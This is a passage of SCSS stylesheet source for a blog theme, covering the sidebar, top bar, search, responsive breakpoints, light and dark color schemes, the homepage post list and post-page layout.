opacity: 1;\n }\n }\n }\n\n &:not(:first-child) {\n margin-top: 0.25rem;\n }\n }\n }\n\n .sidebar-bottom {\n @include pl-pr(2rem);\n\n margin-bottom: 1.5rem;\n\n %button {\n width: 1.75rem;\n height: 1.75rem;\n margin-bottom: $btn-mb; // multi line gap\n border-radius: 50%;\n color: var(--sidebar-btn-color);\n background-color: var(--sidebar-btn-bg);\n text-align: center;\n display: flex;\n align-items: center;\n justify-content: center;\n\n &:hover {\n background-color: var(--sidebar-hover-bg);\n }\n }\n\n a {\n @extend %button;\n @extend %sidebar-link-hover;\n @extend %clickable-transition;\n\n &:not(:last-child) {\n margin-right: $btn-gap;\n }\n }\n\n i {\n line-height: 1.75rem;\n }\n\n .mode-toggle {\n padding: 0;\n border: 0;\n\n @extend %button;\n @extend %sidebar-links;\n @extend %sidebar-link-hover;\n }\n\n .icon-border {\n @extend %no-cursor;\n @include ml-mr(calc(($btn-gap - $btn-border-width) / 2));\n\n background-color: var(--sidebar-muted-color);\n content: '';\n width: $btn-border-width;\n height: $btn-border-width;\n border-radius: 50%;\n margin-bottom: $btn-mb;\n }\n } /* .sidebar-bottom */\n} /* #sidebar */\n\n@media (hover: hover) {\n #sidebar ul > li:last-child::after {\n transition: top 0.5s ease;\n }\n\n .nav-link {\n transition: background-color 0.3s ease-in-out;\n }\n\n .post-preview {\n transition: background-color 0.35s ease-in-out;\n }\n}\n\n#search-result-wrapper {\n display: none;\n height: 100%;\n width: 100%;\n overflow: auto;\n\n .post-content {\n margin-top: 2rem;\n }\n}\n\n/* --- top-bar --- */\n\n#topbar-wrapper {\n height: $topbar-height;\n background-color: var(--topbar-bg);\n}\n\n#topbar {\n /* icons */\n i {\n color: #999999;\n }\n\n #breadcrumb {\n font-size: 1rem;\n color: gray;\n padding-left: 0.5rem;\n\n a:hover {\n @extend %link-hover;\n }\n\n span {\n &:not(:last-child) {\n &::after {\n content: '›';\n padding: 0 0.3rem;\n }\n }\n }\n }\n} /* #topbar */\n\n#sidebar-trigger,\n#search-trigger {\n display: none;\n}\n\n#search-wrapper {\n display: flex;\n width: 100%;\n border-radius: 1rem;\n border: 1px solid var(--search-wrapper-border-color);\n background: var(--main-bg);\n padding: 0 0.5rem;\n\n i {\n z-index: 2;\n font-size: 0.9rem;\n color: var(--search-icon-color);\n }\n}\n\n/* 'Cancel' link */\n#search-cancel {\n color: var(--link-color);\n margin-left: 0.75rem;\n display: none;\n white-space: nowrap;\n\n @extend %cursor-pointer;\n}\n\n#search-input {\n background: center;\n border: 0;\n border-radius: 0;\n padding: 0.18rem 0.3rem;\n color: var(--text-color);\n height: auto;\n\n &:focus {\n box-shadow: none;\n\n &.form-control {\n &::-moz-placeholder {\n @include input-placeholder;\n }\n &::-webkit-input-placeholder {\n @include input-placeholder;\n }\n &:-ms-input-placeholder {\n @include input-placeholder;\n }\n &::-ms-input-placeholder {\n @include input-placeholder;\n }\n &::placeholder {\n @include input-placeholder;\n }\n }\n }\n}\n\n#search-hints {\n padding: 0 1rem;\n\n h4 {\n margin-bottom: 1.5rem;\n }\n\n .post-tag {\n display: inline-block;\n line-height: 1rem;\n font-size: 1rem;\n background: var(--search-tag-bg);\n border: none;\n padding: 0.5rem;\n margin: 0 1.25rem 1rem 0;\n\n &::before {\n content: '#';\n color: var(--text-muted-color);\n padding-right: 0.2rem;\n }\n\n @extend %link-color;\n }\n}\n\n#search-results {\n padding-bottom: 3rem;\n\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %link-color;\n @extend %no-bottom-border;\n @extend %heading;\n\n font-size: 1.4rem;\n line-height: 2.5rem;\n }\n\n > div {\n width: 100%;\n\n &:not(:last-child) {\n margin-bottom: 1rem;\n }\n\n /* icons */\n i {\n color: #818182;\n margin-right: 0.15rem;\n font-size: 80%;\n }\n\n > p {\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 3;\n -webkit-box-orient: vertical;\n }\n }\n} /* #search-results */\n\n#topbar-title {\n display: none;\n font-size: 1.1rem;\n font-weight: 600;\n font-family: sans-serif;\n color: var(--topbar-text-color);\n text-align: center;\n width: 70%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n}\n\n#core-wrapper {\n line-height: 1.75;\n\n .categories,\n #tags,\n #archives {\n a:not(:hover) {\n @extend %no-bottom-border;\n }\n }\n}\n\n#mask {\n display: none;\n position: fixed;\n inset: 0 0 0 0;\n height: 100%;\n width: 100%;\n z-index: 1;\n\n @at-root [#{$sidebar-display}] & {\n display: block !important;\n }\n}\n\n/* --- main wrapper --- */\n\n#main-wrapper {\n background-color: var(--main-bg);\n position: relative;\n min-height: calc(100vh - $footer-height-mobile);\n\n @include pl-pr(0);\n}\n\n#topbar-wrapper.row,\n#main > .row,\n#search-result-wrapper > .row {\n @include ml-mr(0);\n}\n\n/* --- button back-to-top --- */\n\n#back-to-top {\n $size: 3rem;\n\n display: none;\n z-index: 1;\n cursor: pointer;\n position: fixed;\n right: 1rem;\n bottom: 2rem;\n background: var(--button-bg);\n color: var(--btn-backtotop-color);\n padding: 0;\n width: $size;\n height: $size;\n border-radius: 50%;\n border: 1px solid var(--btn-backtotop-border-color);\n transition: transform 0.2s ease-out;\n -webkit-transition: transform 0.2s ease-out;\n\n &:hover {\n transform: translate3d(0, -5px, 0);\n -webkit-transform: translate3d(0, -5px, 0);\n }\n\n i {\n line-height: $size;\n position: relative;\n bottom: 2px;\n }\n}\n\n#notification {\n @-webkit-keyframes popup {\n from {\n opacity: 0;\n bottom: 0;\n }\n }\n\n @keyframes popup {\n from {\n opacity: 0;\n bottom: 0;\n }\n }\n\n .toast-header {\n background: none;\n border-bottom: none;\n color: inherit;\n }\n\n .toast-body {\n font-family: Lato, sans-serif;\n line-height: 1.25rem;\n\n button {\n font-size: 90%;\n min-width: 4rem;\n }\n }\n\n &.toast {\n &.show {\n display: block;\n min-width: 20rem;\n border-radius: 0.5rem;\n -webkit-backdrop-filter: blur(10px);\n backdrop-filter: blur(10px);\n background-color: rgba(255, 255, 255, 0.5);\n color: #1b1b1eba;\n position: fixed;\n left: 50%;\n bottom: 20%;\n transform: translateX(-50%);\n -webkit-animation: popup 0.8s;\n animation: popup 0.8s;\n }\n }\n}\n\n/*\n Responsive Design:\n\n {sidebar, content, panel} >= 1200px screen width\n {sidebar, content} >= 850px screen width\n {content} <= 849px screen width\n\n*/\n\n@media all and (max-width: 576px) {\n #main-wrapper {\n min-height: calc(100vh - #{$footer-height-mobile});\n }\n\n #core-wrapper {\n .post-content {\n > blockquote[class^='prompt-'] {\n @include ml-mr(-1.25rem);\n\n border-radius: 0;\n max-width: none;\n }\n }\n }\n\n #avatar {\n width: 5rem;\n height: 5rem;\n }\n}\n\n@media all and (max-width: 768px) {\n %full-width {\n max-width: 100%;\n }\n\n #topbar {\n @extend %full-width;\n }\n\n #main {\n @extend %full-width;\n @include pl-pr(0);\n }\n}\n\n/* hide sidebar and panel */\n@media all and (max-width: 849px) {\n @mixin slide($append: null) {\n $basic: transform 0.4s ease;\n\n @if $append {\n transition: $basic, $append;\n } @else {\n transition: $basic;\n }\n }\n\n html,\n body {\n overflow-x: hidden;\n }\n\n footer {\n @include slide;\n\n height: $footer-height-mobile;\n\n div.d-flex {\n padding: 1.5rem 0;\n line-height: 1.65;\n flex-wrap: wrap;\n }\n }\n\n [#{$sidebar-display}] {\n #sidebar {\n transform: translateX(0);\n }\n\n #main-wrapper,\n footer {\n transform: translateX(#{$sidebar-width});\n }\n\n #back-to-top {\n visibility: hidden;\n }\n }\n\n #sidebar {\n @include slide;\n\n transform: translateX(-#{$sidebar-width}); /* hide */\n -webkit-transform: translateX(-#{$sidebar-width});\n }\n\n #main-wrapper {\n @include slide;\n }\n\n #topbar,\n #main,\n footer > .container {\n max-width: 100%;\n }\n\n #search-result-wrapper {\n width: 100%;\n }\n\n #breadcrumb,\n #search-wrapper {\n display: none;\n }\n\n #topbar-wrapper {\n @include slide(top 0.2s ease);\n\n left: 0;\n }\n\n #core-wrapper,\n #panel-wrapper {\n margin-top: 0;\n }\n\n #topbar-title,\n #sidebar-trigger,\n #search-trigger {\n display: block;\n }\n\n #search-result-wrapper .post-content {\n letter-spacing: 0;\n }\n\n #tags {\n justify-content: center !important;\n }\n\n h1.dynamic-title {\n display: none;\n\n ~ .post-content {\n margin-top: 2.5rem;\n }\n }\n} /* max-width: 849px */\n\n/* Phone & Pad */\n@media all and (min-width: 577px) and (max-width: 1199px) {\n footer .d-flex > div {\n width: 312px;\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 850px) {\n /* Solved jumping scrollbar */\n html {\n overflow-y: scroll;\n }\n\n #main-wrapper,\n footer {\n margin-left: $sidebar-width;\n }\n\n #main-wrapper {\n min-height: calc(100vh - $footer-height);\n }\n\n footer {\n p {\n width: auto;\n &:last-child {\n &::before {\n content: '-';\n margin: 0 0.75rem;\n opacity: 0.8;\n }\n }\n }\n }\n\n #sidebar {\n .profile-wrapper {\n margin-top: 3rem;\n }\n }\n\n #search-hints {\n display: none;\n }\n\n #search-wrapper {\n max-width: $search-max-width;\n }\n\n #search-result-wrapper {\n max-width: $main-content-max-width;\n justify-content: start !important;\n }\n\n .post {\n h1 {\n margin-top: 3rem;\n }\n }\n\n div.post-content .table-wrapper > table {\n min-width: 70%;\n }\n\n /* button 'back-to-Top' position */\n #back-to-top {\n bottom: 5.5rem;\n right: 5%;\n }\n\n #topbar-title {\n text-align: left;\n }\n}\n\n/* Pad horizontal */\n@media all and (min-width: 992px) and (max-width: 1199px) {\n #main .col-lg-11 {\n flex: 0 0 96%;\n max-width: 96%;\n }\n}\n\n/* Compact icons in sidebar & panel hidden */\n@media all and (min-width: 850px) and (max-width: 1199px) {\n #search-results > div {\n max-width: 700px;\n }\n\n #breadcrumb {\n width: 65%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n }\n}\n\n/* panel hidden */\n@media all and (max-width: 1199px) {\n #panel-wrapper {\n display: none;\n }\n\n #main > div.row {\n justify-content: center !important;\n }\n}\n\n/* --- desktop mode, both sidebar and panel are visible --- */\n\n@media all and (min-width: 1200px) {\n #back-to-top {\n bottom: 6.5rem;\n }\n\n #search-wrapper {\n margin-right: 4rem;\n }\n\n #search-input {\n transition: all 0.3s ease-in-out;\n }\n\n #search-results > div {\n width: 46%;\n\n &:nth-child(odd) {\n margin-right: 1.5rem;\n }\n\n &:nth-child(even) {\n margin-left: 1.5rem;\n }\n\n &:last-child:nth-child(odd) {\n position: relative;\n right: 24.3%;\n }\n }\n\n .post-content {\n font-size: 1.03rem;\n }\n\n footer {\n div.d-felx {\n width: 85%;\n }\n }\n}\n\n@media all and (min-width: 1400px) {\n #back-to-top {\n right: calc((100vw - #{$sidebar-width} - 1140px) / 2 + 3rem);\n }\n}\n\n@media all and (min-width: 1650px) {\n $icon-gap: 1rem;\n\n #main-wrapper,\n footer {\n margin-left: $sidebar-width-large;\n }\n\n #topbar-wrapper {\n left: $sidebar-width-large;\n }\n\n #search-wrapper {\n margin-right: calc(\n #{$main-content-max-width} * 0.25 - #{$search-max-width} - 0.75rem\n );\n }\n\n #main,\n footer > .container {\n max-width: $main-content-max-width;\n padding-left: 1.75rem !important;\n padding-right: 1.75rem !important;\n }\n\n #core-wrapper,\n #tail-wrapper {\n padding-right: 4.5rem !important;\n }\n\n #back-to-top {\n right: calc(\n (100vw - #{$sidebar-width-large} - #{$main-content-max-width}) / 2 + 2rem\n );\n }\n\n #sidebar {\n width: $sidebar-width-large;\n\n $icon-gap: 1rem; // for the bottom icons\n\n .profile-wrapper {\n margin-top: 3.5rem;\n margin-bottom: 2.5rem;\n padding-left: 3.5rem;\n }\n\n ul {\n li.nav-item {\n @include pl-pr(2.75rem);\n }\n }\n\n .sidebar-bottom {\n padding-left: 2.75rem;\n margin-bottom: 1.75rem;\n\n a:not(:last-child) {\n margin-right: $icon-gap;\n }\n\n .icon-border {\n @include ml-mr(calc(($icon-gap - $btn-border-width) / 2));\n }\n }\n }\n} /* min-width: 1650px */\n","/*\n * The syntax light mode typography colors\n */\n\n@mixin light-scheme {\n /* Framework color */\n --main-bg: white;\n --mask-bg: #c1c3c5;\n --main-border-color: #f3f3f3;\n\n /* Common color */\n --text-color: #34343c;\n --text-muted-color: #8e8e8e;\n --heading-color: black;\n --blockquote-border-color: #eeeeee;\n --blockquote-text-color: #9a9a9a;\n --link-color: #0153ab;\n --link-underline-color: #dee2e6;\n --button-bg: #ffffff;\n --btn-border-color: #e9ecef;\n --btn-backtotop-color: #686868;\n --btn-backtotop-border-color: #f1f1f1;\n --btn-box-shadow: #eaeaea;\n --checkbox-color: #c5c5c5;\n --checkbox-checked-color: #07a8f7;\n --img-bg: radial-gradient(\n circle,\n rgb(255, 255, 255) 0%,\n rgb(239, 239, 239) 100%\n );\n --shimmer-bg: linear-gradient(\n 90deg,\n rgba(250, 250, 250, 0) 0%,\n rgba(232, 230, 230, 1) 50%,\n rgba(250, 250, 250, 0) 100%\n );\n\n /* Sidebar */\n --sidebar-bg: #f6f8fa;\n --sidebar-muted-color: #a2a19f;\n --sidebar-active-color: #1d1d1d;\n --sidebar-hover-bg: rgb(223, 233, 241, 0.64);\n --sidebar-btn-bg: white;\n --sidebar-btn-color: #8e8e8e;\n --avatar-border-color: white;\n\n /* Topbar */\n --topbar-bg: rgb(255, 255, 255, 0.7);\n --topbar-text-color: rgb(78, 78, 78);\n --search-wrapper-border-color: rgb(240, 240, 240);\n --search-tag-bg: #f8f9fa;\n --search-icon-color: #c2c6cc;\n --input-focus-border-color: #b8b8b8;\n\n /* Home page */\n --post-list-text-color: dimgray;\n --btn-patinator-text-color: #555555;\n --btn-paginator-hover-color: var(--sidebar-bg);\n --btn-paginator-border-color: var(--sidebar-bg);\n --btn-text-color: #676666;\n\n /* Posts */\n --toc-highlight: #563d7c;\n --btn-share-hover-color: var(--link-color);\n --card-bg: white;\n --card-hovor-bg: #e2e2e2;\n --card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0,\n rgba(211, 209, 209, 0.15) 0 0 0 1px;\n --label-color: #616161;\n --relate-post-date: rgba(30, 55, 70, 0.4);\n --footnote-target-bg: lightcyan;\n --tag-bg: rgba(0, 0, 0, 0.075);\n --tag-border: #dee2e6;\n --tag-shadow: var(--btn-border-color);\n --tag-hover: rgb(222, 226, 230);\n --tb-odd-bg: #fbfcfd;\n --tb-border-color: #eaeaea;\n --dash-color: silver;\n --kbd-wrap-color: #bdbdbd;\n --kbd-text-color: var(--text-color);\n --kbd-bg-color: white;\n --prompt-text-color: rgb(46, 46, 46, 0.77);\n --prompt-tip-bg: rgb(123, 247, 144, 0.2);\n --prompt-tip-icon-color: #03b303;\n --prompt-info-bg: #e1f5fe;\n --prompt-info-icon-color: #0070cb;\n --prompt-warning-bg: rgb(255, 243, 205);\n --prompt-warning-icon-color: #ef9c03;\n --prompt-danger-bg: rgb(248, 215, 218, 0.56);\n --prompt-danger-icon-color: #df3c30;\n\n [class^='prompt-'] {\n --link-underline-color: rgb(219, 216, 216);\n }\n\n .dark {\n display: none;\n }\n\n /* Categories */\n --categories-border: rgba(0, 0, 0, 0.125);\n --categories-hover-bg: var(--btn-border-color);\n --categories-icon-hover-color: darkslategray;\n\n /* Archive */\n --timeline-color: rgba(0, 0, 0, 0.075);\n --timeline-node-bg: #c2c6cc;\n --timeline-year-dot-color: #ffffff;\n} /* light-scheme */\n","/*\n * The main dark mode styles\n */\n\n@mixin dark-scheme {\n /* Framework color */\n --main-bg: rgb(27, 27, 30);\n --mask-bg: rgb(68, 69, 70);\n --main-border-color: rgb(44, 45, 45);\n\n /* Common color */\n --text-color: rgb(175, 176, 177);\n --text-muted-color: rgb(107, 116, 124);\n --heading-color: #cccccc;\n --blockquote-border-color: rgb(66, 66, 66);\n --blockquote-text-color: rgb(117, 117, 117);\n --link-color: rgb(138, 180, 248);\n --link-underline-color: rgb(82, 108, 150);\n --button-bg: rgb(39, 40, 43);\n --btn-border-color: rgb(63, 65, 68);\n --btn-backtotop-color: var(--text-color);\n --btn-backtotop-border-color: var(--btn-border-color);\n --btn-box-shadow: var(--main-bg);\n --card-header-bg: rgb(48, 48, 48);\n --label-color: rgb(108, 117, 125);\n --checkbox-color: rgb(118, 120, 121);\n --checkbox-checked-color: var(--link-color);\n --img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);\n --shimmer-bg: linear-gradient(\n 90deg,\n rgba(255, 255, 255, 0) 0%,\n rgba(58, 55, 55, 0.4) 50%,\n rgba(255, 255, 255, 0) 100%\n );\n\n /* Sidebar */\n --sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);\n --sidebar-muted-color: #6d6c6b;\n --sidebar-active-color: rgb(255, 255, 255, 0.95);\n --sidebar-hover-bg: rgb(54, 54, 54, 0.33);\n --sidebar-btn-bg: rgb(84, 83, 83, 0.3);\n --sidebar-btn-color: #787878;\n --avatar-border-color: rgb(206, 206, 206, 0.9);\n\n /* Topbar */\n --topbar-bg: rgb(27, 27, 30, 0.64);\n --topbar-text-color: var(--text-color);\n --search-wrapper-border-color: rgb(55, 55, 55);\n --search-icon-color: rgb(100, 102, 105);\n --input-focus-border-color: rgb(112, 114, 115);\n\n /* Home page */\n --post-list-text-color: rgb(175, 176, 177);\n --btn-patinator-text-color: var(--text-color);\n --btn-paginator-hover-color: rgb(64, 65, 66);\n --btn-paginator-border-color: var(--btn-border-color);\n --btn-text-color: var(--text-color);\n\n /* Posts */\n --toc-highlight: rgb(116, 178, 243);\n --tag-bg: rgb(41, 40, 40);\n --tag-hover: rgb(43, 56, 62);\n --tb-odd-bg: rgba(42, 47, 53, 0.52); /* odd rows of the posts' table */\n --tb-even-bg: rgb(31, 31, 34); /* even rows of the posts' table */\n --tb-border-color: var(--tb-odd-bg);\n --footnote-target-bg: rgb(63, 81, 181);\n --btn-share-color: #6c757d;\n --btn-share-hover-color: #bfc1ca;\n --relate-post-date: var(--text-muted-color);\n --card-bg: #1e1e1e;\n --card-hovor-bg: #464d51;\n --card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0,\n rgb(137, 135, 135, 0.24) 0 0 0 1px;\n --kbd-wrap-color: #6a6a6a;\n --kbd-text-color: #d3d3d3;\n --kbd-bg-color: #242424;\n --prompt-text-color: rgb(216, 212, 212, 0.75);\n --prompt-tip-bg: rgb(22, 60, 36, 0.64);\n --prompt-tip-icon-color: rgb(15, 164, 15, 0.81);\n --prompt-info-bg: rgb(7, 59, 104, 0.8);\n --prompt-info-icon-color: #0075d1;\n --prompt-warning-bg: rgb(90, 69, 3, 0.88);\n --prompt-warning-icon-color: rgb(255, 165, 0, 0.8);\n --prompt-danger-bg: rgb(86, 28, 8, 0.8);\n --prompt-danger-icon-color: #cd0202;\n\n /* tags */\n --tag-border: rgb(59, 79, 88);\n --tag-shadow: rgb(32, 33, 33);\n --search-tag-bg: var(--tag-bg);\n --dash-color: rgb(63, 65, 68);\n\n /* categories */\n --categories-border: rgb(64, 66, 69, 0.5);\n --categories-hover-bg: rgb(73, 75, 76);\n --categories-icon-hover-color: white;\n\n /* archives */\n --timeline-node-bg: rgb(150, 152, 156);\n --timeline-color: rgb(63, 65, 68);\n --timeline-year-dot-color: var(--timeline-color);\n\n .light {\n display: none;\n }\n\n hr {\n border-color: var(--main-border-color);\n }\n\n /* categories */\n .categories.card,\n .list-group-item {\n background-color: var(--card-bg);\n }\n\n .categories {\n .card-header {\n background-color: var(--card-header-bg);\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n border-color: var(--categories-border);\n\n &:last-child {\n border-bottom-color: var(--card-bg);\n }\n }\n }\n\n #archives li:nth-child(odd) {\n background-image: linear-gradient(\n to left,\n rgb(26, 26, 30),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(26, 26, 30)\n );\n }\n\n color-scheme: dark;\n\n /* stylelint-disable-next-line selector-id-pattern */\n #disqus_thread {\n color-scheme: none;\n }\n} /* dark-scheme */\n","/*\n Style for Homepage\n*/\n\n#post-list {\n margin-top: 2rem;\n\n a.card-wrapper {\n display: block;\n\n &:hover {\n text-decoration: none;\n }\n\n &:not(:last-child) {\n margin-bottom: 1.25rem;\n }\n }\n\n .card {\n %img-radius {\n border-radius: $base-radius $base-radius 0 0;\n }\n\n .preview-img {\n height: 10rem;\n\n @extend %img-radius;\n\n img {\n width: 100%;\n height: 100%;\n -o-object-fit: cover;\n object-fit: cover;\n\n @extend %img-radius;\n }\n }\n\n .card-body {\n min-height: 10.5rem;\n padding: 1rem;\n\n .card-title {\n @extend %text-clip;\n\n font-size: 1.25rem;\n }\n\n %muted {\n color: var(--text-muted-color) !important;\n }\n\n .card-text.post-content {\n @extend %muted;\n\n p {\n @extend %text-clip;\n\n line-height: 1.5;\n margin: 0;\n }\n }\n\n .post-meta {\n @extend %muted;\n\n i {\n &:not(:first-child) {\n margin-left: 1.5rem;\n }\n }\n\n em {\n @extend %normal-font-style;\n\n color: inherit;\n }\n\n > div:first-child {\n display: block;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n }\n }\n }\n }\n} /* #post-list */\n\n.pagination {\n color: var(--btn-patinator-text-color);\n font-family: Lato, sans-serif;\n\n a:hover {\n text-decoration: none;\n }\n\n .page-item {\n .page-link {\n color: inherit;\n width: 2.5rem;\n height: 2.5rem;\n padding: 0;\n display: -webkit-box;\n -webkit-box-pack: center;\n -webkit-box-align: center;\n border-radius: 50%;\n border: 1px solid var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n\n &:hover {\n background-color: var(--btn-paginator-hover-color);\n }\n }\n\n &.active {\n .page-link {\n background-color: var(--btn-paginator-hover-color);\n color: var(--btn-text-color);\n }\n }\n\n &.disabled {\n cursor: not-allowed;\n\n .page-link {\n color: rgba(108, 117, 125, 0.57);\n border-color: var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n }\n }\n\n &:first-child .page-link,\n &:last-child .page-link {\n border-radius: 50%;\n }\n } /* .page-item */\n} /* .pagination */\n\n/* Tablet */\n@media all and (min-width: 768px) {\n #post-list {\n %img-radius {\n border-radius: 0 $base-radius $base-radius 0;\n }\n\n .card {\n .preview-img {\n width: 20rem;\n height: 11.55rem; // can hold 2 lines each for title and content\n }\n\n .card-body {\n min-height: 10.75rem;\n width: 60%;\n padding: 1.75rem 1.75rem 1.25rem 1.75rem;\n\n .card-text {\n display: inherit !important;\n }\n\n .post-meta {\n i {\n &:not(:first-child) {\n margin-left: 1.75rem;\n }\n }\n }\n }\n }\n }\n}\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 830px) {\n .pagination {\n justify-content: space-evenly;\n\n .page-item {\n &:not(:first-child):not(:last-child) {\n display: none;\n }\n }\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 831px) {\n #post-list {\n margin-top: 2.5rem;\n }\n\n .pagination {\n font-size: 0.85rem;\n\n .page-item {\n &:not(:last-child) {\n margin-right: 0.7rem;\n }\n\n .page-link {\n width: 2rem;\n height: 2rem;\n }\n }\n\n .page-index {\n display: none;\n }\n } /* .pagination */\n}\n\n/* Panel is visible */\n@media all and (min-width: 1200px) {\n #post-list {\n padding-right: 0.5rem;\n }\n}\n","/*\n Post-specific style\n*/\n\n@mixin btn-sharing-color($light-color, $important: false) {\n @if $important {\n color: var(--btn-share-color, $light-color) !important;\n } @else {\n color: var(--btn-share-color, $light-color);\n }\n}\n\n%btn-post-nav {\n width: 50%;\n position: relative;\n border-color: var(--btn-border-color);\n}\n\n@mixin dot($pl: 0.25rem, $pr: 0.25rem) {\n content: '\\2022';\n padding-left: $pl;\n padding-right: $pr;\n}\n\n%text-color {\n color: var(--text-color);\n}\n\n.preview-img {\n overflow: hidden;\n aspect-ratio: 40 / 21;\n\n @extend %rounded;\n\n &:not(.no-bg) {\n img.lazyloaded {\n background: var(--img-bg);\n }\n }\n\n img {\n -o-object-fit: cover;\n object-fit: cover;\n\n @extend %rounded;\n }\n}\n\nh1 + .post-meta {\n span + span::before {\n @include dot;\n }\n\n em {\n @extend %text-color;\n\n a {\n @extend %text-color;\n }\n }\n}\n\n.post-tail-wrapper {\n margin-top: 6rem;\n border-bottom: 1px double var(--main-border-color);\n font-size: 0.85rem;\n\n .post-tail-bottom a {\n color: inherit;\n }\n\n .license-wrapper {\n line-height: 1.2rem;\n\n > a {\n color: var(--text-color);\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n span:last-child {\n font-size: 0.85rem;\n }\n } /* .license-wrapper */\n\n .post-meta a:not(:hover) {\n @extend %link-underline;\n }\n\n .share-wrapper {\n vertical-align: middle;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n\n .share-icons {\n font-size: 1.2rem;\n\n > i {\n position: relative;\n bottom: 1px;\n\n @extend %cursor-pointer;\n\n &:hover {\n @extend %btn-share-hovor;\n }\n }\n\n a {\n &:not(:last-child) {\n margin-right: 0.25rem;\n }\n\n &:hover {\n text-decoration: none;\n\n > i {\n @extend %btn-share-hovor;\n }\n }\n }\n\n .fab {\n &.fa-twitter {\n @include btn-sharing-color(rgba(29, 161, 242, 1));\n }\n\n &.fa-facebook-square {\n @include btn-sharing-color(rgb(66, 95, 156));\n }\n\n &.fa-telegram {\n @include btn-sharing-color(rgb(39, 159, 217));\n }\n\n &.fa-linkedin {\n @include btn-sharing-color(rgb(0, 119, 181));\n }\n\n &.fa-weibo {\n @include btn-sharing-color(rgb(229, 20, 43));\n }\n }\n } /* .share-icons */\n\n .fas.fa-link {\n @include btn-sharing-color(rgb(171, 171, 171));\n }\n } /* .share-wrapper */\n}\n\n.post-tags {\n line-height: 2rem;\n\n .post-tag {\n background: var(--tag-bg);\n\n &:hover {\n @extend %link-hover;\n @extend %tag-hover;\n @extend %no-bottom-border;\n }\n }\n}\n\n.post-navigation {\n padding-top: 3rem;\n padding-bottom: 4rem;\n\n .btn {\n @extend %btn-post-nav;\n\n &:not(:hover) {\n color: var(--link-color);\n }\n\n &:hover {\n &:not(.disabled)::before {\n color: whitesmoke;\n }\n }\n\n &.disabled {\n @extend %btn-post-nav;\n\n pointer-events: auto;\n cursor: not-allowed;\n background: none;\n color: gray;\n }\n\n &.btn-outline-primary.disabled:focus {\n box-shadow: none;\n }\n\n &::before {\n color: var(--text-muted-color);\n font-size: 0.65rem;\n text-transform: uppercase;\n content: attr(prompt);\n }\n\n &:first-child {\n border-radius: $base-radius 0 0 $base-radius;\n left: 0.5px;\n }\n\n &:last-child {\n border-radius: 0 $base-radius $base-radius 0;\n right: 0.5px;\n }\n }\n\n p {\n font-size: 1.1rem;\n line-height: 1.5rem;\n margin-top: 0.3rem;\n white-space: normal;\n }\n} /* .post-navigation */\n\n@media (hover: hover) {\n .post-navigation {\n .btn,\n .btn::before {\n transition: all 0.35s ease-in-out;\n }\n }\n}\n\n@-webkit-keyframes fade-up {\n from {\n opacity: 0;\n position: relative;\n top: 2rem;\n }\n\n to {\n opacity: 1;\n position: relative;\n top: 0;\n }\n}\n\n@keyframes fade-up {\n from {\n opacity: 0;\n position: relative;\n top: 2rem;\n }\n\n to {\n opacity: 1;\n position: relative;\n top: 0;\n }\n}\n\n#toc-wrapper {\n border-left: 1px solid rgba(158, 158, 158, 0.17);\n position: -webkit-sticky;\n position: sticky;\n top: 4rem;\n transition: top 0.2s ease-in-out;\n -webkit-animation: fade-up 0.8s;\n animation: fade-up 0.8s;\n\n ul {\n list-style: none;\n font-size: 0.85rem;\n line-height: 1.25;\n padding-left: 0;\n\n li {\n &:not(:last-child) {\n margin: 0.4rem 0;\n }\n\n a {\n padding: 0.2rem 0 0.2rem 1.25rem;\n }\n }\n\n /* Overwrite TOC plugin style */\n\n .toc-link {\n display: block;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n\n &:hover {\n color: var(--toc-highlight);\n text-decoration: none;\n }\n\n &::before {\n display: none;\n }\n }\n\n .is-active-link {\n color: var(--toc-highlight) !important;\n font-weight: 600;\n\n &::before {\n display: inline-block;\n width: 1px;\n left: -1px;\n height: 1.25rem;\n background-color: var(--toc-highlight) !important;\n }\n }\n\n ul {\n a {\n padding-left: 2rem;\n }\n }\n }\n}\n\n/* --- Related Posts --- */\n\n#related-posts {\n > h3 {\n @include label(1.1rem, 600);\n }\n\n em {\n @extend %normal-font-style;\n\n color: var(--relate-post-date);\n }\n\n p {\n font-size: 0.9rem;\n margin-bottom: 0.5rem;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n }\n\n .card {\n h4 {\n @extend %text-color;\n @extend %text-clip;\n }\n }\n}\n\n#tail-wrapper {\n min-height: 2rem;\n\n > div:last-of-type {\n margin-bottom: 2rem;\n }\n\n /* stylelint-disable-next-line selector-id-pattern */\n #disqus_thread {\n min-height: 8.5rem;\n }\n}\n\n%btn-share-hovor {\n color: var(--btn-share-hover-color) !important;\n}\n\n.share-label {\n @include label(inherit, 400, inherit);\n\n &::after {\n content: ':';\n }\n}\n\n@media all and (max-width: 576px) {\n .preview-img[data-src] {\n margin-top: 2.2rem;\n }\n\n .post-tail-bottom {\n flex-wrap: wrap-reverse !important;\n\n > div:first-child {\n width: 100%;\n margin-top: 1rem;\n }\n }\n}\n\n@media all and (max-width: 768px) {\n .post-content > p > img {\n max-width: calc(100% + 1rem);\n }\n}\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 849px) {\n .post-navigation {\n padding-left: 0;\n padding-right: 0;\n margin-left: -0.5rem;\n margin-right: -0.5rem;\n 